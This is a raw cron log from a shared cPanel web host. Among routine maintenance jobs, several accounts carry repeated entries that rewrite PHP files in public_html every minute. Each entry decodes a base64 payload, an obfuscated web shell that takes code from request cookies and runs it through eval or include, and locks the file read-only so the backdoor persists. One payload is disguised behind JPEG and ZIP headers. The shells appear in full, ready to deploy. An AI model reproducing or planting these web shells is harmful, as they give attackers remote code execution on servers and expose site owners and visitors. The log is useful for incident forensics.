Mar  2 11:05:02 medusa CROND[27231]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:05:02 medusa CROND[27227]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 11:06:02 medusa CROND[12041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:06:02 medusa CROND[12076]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:06:02 medusa CROND[12289]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:06:02 medusa CROND[12294]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:06:02 medusa CROND[12298]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:06:02 medusa CROND[12299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:06:02 medusa CROND[12302]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:06:02 medusa CROND[12304]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:06:02 medusa CROND[12311]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:06:02 medusa CROND[12312]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:06:02 medusa CROND[12315]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:06:02 medusa CROND[12316]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:06:02 medusa CROND[12319]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:06:02 medusa CROND[12318]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:06:02 medusa CROND[12321]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:07:02 medusa CROND[27681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:07:02 medusa CROND[27682]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:07:02 medusa CROND[27683]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:07:02 medusa CROND[27684]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:07:02 medusa CROND[27685]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:07:02 medusa CROND[27697]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:07:02 medusa CROND[27698]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:07:02 medusa CROND[27699]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:07:02 medusa CROND[27708]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:07:02 medusa CROND[27709]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:07:02 medusa CROND[27712]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:07:02 medusa CROND[27710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:08:01 medusa CROND[13115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:08:02 medusa CROND[13236]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:08:02 medusa CROND[13238]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:08:02 medusa CROND[13239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:08:02 medusa CROND[13241]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:08:02 medusa CROND[13243]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
